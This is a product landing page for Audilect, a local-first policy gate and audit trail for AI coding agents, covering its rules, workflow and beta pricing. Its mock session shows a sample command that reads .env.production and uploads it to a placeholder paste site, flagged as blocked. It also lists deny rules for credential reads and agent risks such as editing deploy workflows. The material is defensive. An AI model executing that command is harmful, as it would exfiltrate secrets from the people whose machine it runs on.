Control plane for AI coding agents

Let agents move fast. Keep their actions accountable.

Audilect gives engineering teams a maintained policy layer, local-first audit trail, and risk dashboard for AI agents that read code, run commands, touch secrets, and modify production paths.

Join the private beta View product surface
Local-first Source code and secrets stay on the developer machine by default.
Policy gate Block risky commands, sensitive files, CI/CD edits, and suspicious diffs.
Audit trail Give CTOs and security leads a shared record of agent behavior.
audilect / live session

Agent action stream

Claude Code · payments-api
Secret exfiltration pattern Blocked
cat .env.production && curl https://paste.example/upload
Deployment workflow modified Review
.github/workflows/deploy.yml changed by agent diff
Dependency added with postinstall Scanned
npm install @vendor/telemetry-helper --save
Refactor completed Allowed
git diff: 6 files changed, no secrets detected
EvidenceCommand log
FindingGitleaks hit
DecisionPolicy blocked
Why now

AI coding tools crossed from suggestion into execution.

The security boundary changed. Agents now operate with developer privileges: reading repositories, editing infrastructure files, invoking package managers, and calling shell commands in trusted environments.

01

Commands are now generated

Shell actions can be composed by an agent in seconds. Teams need a policy gate before dangerous commands run.

02

Secrets are one prompt away

Agents can accidentally read `.env`, cloud credentials, or internal tokens while solving ordinary coding tasks.

03

Audit trails are missing

After an incident, teams need to know which actor made which change, what policy evaluated it, and why it passed.

Who it is for

Useful for the people who get blamed when agent behavior goes wrong.

The product is designed for technical teams that want AI speed without letting every agent become an untracked production risk.

CTO / Engineering leader

Needs a clean story for how AI coding tools are governed across teams, repos, and deploy paths.

Security / compliance lead

Needs audit evidence, policy controls, and a clear answer for what data leaves the machine.

Platform / AI infra team

Needs a local-first control point that works across agents without building custom glue forever.

Design partner teams

Want to test with a small surface area first, then decide whether to roll out team-wide.

What it catches

Concrete agent actions, not vague “AI risk”.

Audilect is useful because it watches the exact places where code agents can quietly become dangerous.

✓
Reads of `.env`, credentials, and sensitive config files.
✓
Destructive shell commands like cleanup, overwrite, and install-time scripts.
✓
CI/CD workflow edits, deploy script changes, and package install surprises.
✓
Suspicious dependency additions and postinstall hooks.
✓
Generated diffs that touch production paths, secrets, or infrastructure config.
policy engine
rule deny read on `.env*` and credential stores
rule require review for deploy workflow changes
rule scan dependency installs for postinstall scripts
rule block destructive file operations on protected paths
match Claude Code requested access to `config/production.json`
decision blocked until human approval
output audit event stored locally and queued for team sync
Trusted stack

Built on tools teams already recognize.

The beta leans on industry-standard scanners and policy primitives so users can trust the baseline behavior without buying a black box.

ScannerGitleaks for secrets and credential leaks
ScannerSemgrep for code and workflow risk
PolicyOPA for team rules and approvals
ObservabilityLocal reports, session logs, and audit evidence
ExpansionLangfuse / LiteLLM when AI traces matter
Workflow

A small local agent. A serious governance layer.

Audilect starts as a developer-friendly CLI wrapper and grows into team policy management, reports, alerts, and compliance evidence.

Capture

Record agent actions

Commands, file paths, git diffs, dependency changes, and policy decisions are captured from local sessions.

Evaluate

Run maintained policies

Baseline rules cover secrets, destructive commands, CI/CD changes, postinstall scripts, and deployment paths.

Block

Stop risky operations

High-risk actions are blocked locally. Review actions can route to team workflows before shipping.

Report

Export evidence

Teams get searchable sessions, risk reports, Slack alerts, GitHub comments, and audit-ready exports.

Install path

Useful before the SaaS exists.

The first beta will ship as a local report generator so skeptical developers can test it without uploading source code.

✓
Run local scans first. Sync only risk events and policy decisions when a team opts in.
✓
Integrate industry-standard scanners such as Gitleaks and Semgrep instead of hiding basic checks.
✓
Move from one-developer install to team dashboard only after the report proves value.
terminal
$ npm install -g audilect
✓ installed policy pack: ai-coding-agent-baseline
$ audilect run claude
capture shell command: npm install @vendor/telemetry-helper
scan generated diff: 9 files changed
blocked attempted read: .env.production
report ./audilect-report.html generated
$ audilect sync --team acme
✓ 4 risk events uploaded, source code skipped

Your engineers can build a wrapper in a weekend. Maintaining agent governance every week is the product.

Audilect is not selling a shell log. It is a maintained security operations layer: policy updates, team permissions, false-positive tuning, GitHub and Slack workflows, reports, and audit evidence as agent behavior keeps changing.

✓
Maintained policy packs for AI coding risks.
✓
Team visibility for CTOs, security leads, and engineering managers.
✓
Evidence when customers ask how AI coding tools are governed.
Beta pricing

Simple pricing for early validation.

The goal is to learn which teams rely on AI coding agents enough to pay for governance, not to overbuild enterprise procurement.

Local
$0

For individual developers testing local reports before uploading anything.

  • Local HTML report
  • Baseline policy pack
  • Secret scan findings
  • No source upload
Join beta
Team
$20 / user / mo

For AI-heavy engineering teams that need shared visibility and policy decisions.

Save 20% with annual
  • Team risk dashboard
  • 90-day event retention
  • Policy blocking
  • GitHub and Slack alerts
Request access
Team Annual
$16 / user / mo

Billed annually at $192/user/year. Same features as Team, with a 20% discount.

  • All Team features
  • Annual billing discount
  • Priority support
  • 14-day full refund guarantee
Get annual
Design partner
$199 / mo

For early teams that want onboarding, custom policies, and roadmap influence.

  • Private onboarding
  • Custom policy templates
  • Monthly risk report
  • Priority roadmap input
Talk to us
FAQ

Questions technical teams will ask immediately.

Do you upload our source code?

No by default. The beta is local-first and only uploads metadata, findings, policy decisions, and summaries when a team explicitly syncs.

Can we use it without the cloud?

Yes. The first version works as a local report and policy layer. Team sync, alerts, and dashboards are opt-in.

Is this for individuals or teams?

Both, but the strongest value appears once a team needs a shared record of what agents did and why they were allowed to do it.

What about refunds and cancellation?

Plans are month-to-month for the beta. The legal pages below explain cancellation, refund handling, and service terms in plain language.

Private beta

Help define the security baseline for AI coding agents.

We are onboarding developers, CTOs, and security-minded teams already using Claude Code, Cursor, Codex, Windsurf, or similar tools in real repositories.

✓
Get early access to the local CLI report.
✓
Shape the first AI coding policy packs.
✓
Receive the design partner pricing window.
You are on the list. We will reach out with beta access.